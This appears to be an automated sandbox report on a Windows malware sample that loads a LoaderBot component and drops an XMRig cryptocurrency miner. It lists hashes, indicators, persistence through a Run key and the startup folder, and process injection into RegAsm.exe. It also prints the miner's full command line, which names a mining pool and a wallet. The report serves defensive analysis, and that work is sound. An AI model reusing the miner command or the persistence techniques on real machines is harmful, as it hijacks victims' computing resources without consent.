Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
143s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
25/07/2024, 03:25
Static task
static1
Behavioral task
behavioral1
Sample
1099655a13691a6c4856fa29fa038e89805c8ff7ba6d04c6c56128728be19ff4.exe
Resource
win7-20240705-en
General
-
Target
1099655a13691a6c4856fa29fa038e89805c8ff7ba6d04c6c56128728be19ff4.exe
-
Size
4.6MB
-
MD5
917f9d9d484f8657efc7f60b8adde947
-
SHA1
01e4648cef9fb934429d63471127805120202ca9
-
SHA256
1099655a13691a6c4856fa29fa038e89805c8ff7ba6d04c6c56128728be19ff4
-
SHA512
6f81636f49ac851709372e04fa4b95a47da1d17bb84c0150fda6f1ee37111ac357ae17414e9d96f597ac99b2693a9b5838d43fc22b12abbed3e6bbf6421635d2
-
SSDEEP
98304:ybFXaexwoV2rqKxaWkidqVtIhjAgWlZHrtjFsN3RwC+cDhfXXWB:gwexwoVLhidqVtg8jZHrw3wC+8
Malware Config
Signatures
-
LoaderBot executable 1 IoCs
resource yara_rule behavioral2/memory/1940-1-0x0000000000400000-0x00000000007FE000-memory.dmp loaderbot -
XMRig Miner payload 16 IoCs
resource yara_rule behavioral2/memory/888-19-0x0000000140000000-0x0000000140B75000-memory.dmp xmrig behavioral2/memory/3180-22-0x0000000140000000-0x0000000140B75000-memory.dmp xmrig behavioral2/memory/3180-23-0x0000000140000000-0x0000000140B75000-memory.dmp xmrig behavioral2/memory/3180-25-0x0000000140000000-0x0000000140B75000-memory.dmp xmrig behavioral2/memory/3180-27-0x0000000140000000-0x0000000140B75000-memory.dmp xmrig behavioral2/memory/3180-28-0x0000000140000000-0x0000000140B75000-memory.dmp xmrig behavioral2/memory/3180-29-0x0000000140000000-0x0000000140B75000-memory.dmp xmrig behavioral2/memory/3180-30-0x0000000140000000-0x0000000140B75000-memory.dmp xmrig behavioral2/memory/3180-31-0x0000000140000000-0x0000000140B75000-memory.dmp xmrig behavioral2/memory/3180-32-0x0000000140000000-0x0000000140B75000-memory.dmp xmrig behavioral2/memory/3180-33-0x0000000140000000-0x0000000140B75000-memory.dmp xmrig behavioral2/memory/3180-34-0x0000000140000000-0x0000000140B75000-memory.dmp xmrig behavioral2/memory/3180-35-0x0000000140000000-0x0000000140B75000-memory.dmp xmrig behavioral2/memory/3180-36-0x0000000140000000-0x0000000140B75000-memory.dmp xmrig behavioral2/memory/3180-37-0x0000000140000000-0x0000000140B75000-memory.dmp xmrig behavioral2/memory/3180-38-0x0000000140000000-0x0000000140B75000-memory.dmp xmrig -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Control Panel\International\Geo\Nation RegAsm.exe -
Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url RegAsm.exe -
Executes dropped EXE 3 IoCs
pid Process 888 Driver.exe 3180 Driver.exe 5052 Driver.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Driver = "C:\\Users\\Admin\\AppData\\Roaming\\Sysfiles\\RegAsm.exe" RegAsm.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3848 set thread context of 1940 3848 1099655a13691a6c4856fa29fa038e89805c8ff7ba6d04c6c56128728be19ff4.exe 88 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 1099655a13691a6c4856fa29fa038e89805c8ff7ba6d04c6c56128728be19ff4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RegAsm.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe 1940 RegAsm.exe -
Suspicious use of AdjustPrivilegeToken 7 IoCs
description pid Process Token: SeDebugPrivilege 1940 RegAsm.exe Token: SeLockMemoryPrivilege 888 Driver.exe Token: SeLockMemoryPrivilege 888 Driver.exe Token: SeLockMemoryPrivilege 3180 Driver.exe Token: SeLockMemoryPrivilege 3180 Driver.exe Token: SeLockMemoryPrivilege 5052 Driver.exe Token: SeLockMemoryPrivilege 5052 Driver.exe -
Suspicious use of WriteProcessMemory 17 IoCs
description pid Process procid_target PID 3848 wrote to memory of 3908 3848 1099655a13691a6c4856fa29fa038e89805c8ff7ba6d04c6c56128728be19ff4.exe 87 PID 3848 wrote to memory of 3908 3848 1099655a13691a6c4856fa29fa038e89805c8ff7ba6d04c6c56128728be19ff4.exe 87 PID 3848 wrote to memory of 3908 3848 1099655a13691a6c4856fa29fa038e89805c8ff7ba6d04c6c56128728be19ff4.exe 87 PID 3848 wrote to memory of 1940 3848 1099655a13691a6c4856fa29fa038e89805c8ff7ba6d04c6c56128728be19ff4.exe 88 PID 3848 wrote to memory of 1940 3848 1099655a13691a6c4856fa29fa038e89805c8ff7ba6d04c6c56128728be19ff4.exe 88 PID 3848 wrote to memory of 1940 3848 1099655a13691a6c4856fa29fa038e89805c8ff7ba6d04c6c56128728be19ff4.exe 88 PID 3848 wrote to memory of 1940 3848 1099655a13691a6c4856fa29fa038e89805c8ff7ba6d04c6c56128728be19ff4.exe 88 PID 3848 wrote to memory of 1940 3848 1099655a13691a6c4856fa29fa038e89805c8ff7ba6d04c6c56128728be19ff4.exe 88 PID 3848 wrote to memory of 1940 3848 1099655a13691a6c4856fa29fa038e89805c8ff7ba6d04c6c56128728be19ff4.exe 88 PID 3848 wrote to memory of 1940 3848 1099655a13691a6c4856fa29fa038e89805c8ff7ba6d04c6c56128728be19ff4.exe 88 PID 3848 wrote to memory of 1940 3848 1099655a13691a6c4856fa29fa038e89805c8ff7ba6d04c6c56128728be19ff4.exe 88 PID 1940 wrote to memory of 888 1940 RegAsm.exe 93 PID 1940 wrote to memory of 888 1940 RegAsm.exe 93 PID 1940 wrote to memory of 3180 1940 RegAsm.exe 99 PID 1940 wrote to memory of 3180 1940 RegAsm.exe 99 PID 1940 wrote to memory of 5052 1940 RegAsm.exe 109 PID 1940 wrote to memory of 5052 1940 RegAsm.exe 109
Processes
-
C:\Users\Admin\AppData\Local\Temp\1099655a13691a6c4856fa29fa038e89805c8ff7ba6d04c6c56128728be19ff4.exe"C:\Users\Admin\AppData\Local\Temp\1099655a13691a6c4856fa29fa038e89805c8ff7ba6d04c6c56128728be19ff4.exe"1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3848 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵PID:3908
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1940 -
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 44wU5QLtVQR3BYSkYJrSNGJ6jLVgtbpNXM28EiiQyZ7fin6Ki9MnbuCUqghQqJPEon1vZQq1twJ21hupxAhrxeP32CjKnDp -p x -k -v=0 --donate-level=1 -t 43⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:888
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 44wU5QLtVQR3BYSkYJrSNGJ6jLVgtbpNXM28EiiQyZ7fin6Ki9MnbuCUqghQqJPEon1vZQq1twJ21hupxAhrxeP32CjKnDp -p x -k -v=0 --donate-level=1 -t 43⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3180
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 44wU5QLtVQR3BYSkYJrSNGJ6jLVgtbpNXM28EiiQyZ7fin6Ki9MnbuCUqghQqJPEon1vZQq1twJ21hupxAhrxeP32CjKnDp -p x -k -v=0 --donate-level=1 -t 43⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5052
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3.9MB
MD502569a7a91a71133d4a1023bf32aa6f4
SHA10f16bcb3f3f085d3d3be912195558e9f9680d574
SHA2568d6abba9b216172cfc64b8802db0d20a1c634c96e1049f451eddba2363966bf0
SHA512534be1fe93ee556a14cfd8fad5377f57fb056ab4cd2bca14e4f376f4a25d3d4d270917d68a90b3c40d8a8daaeba6f592fa095ecff478332ba23405d1df728322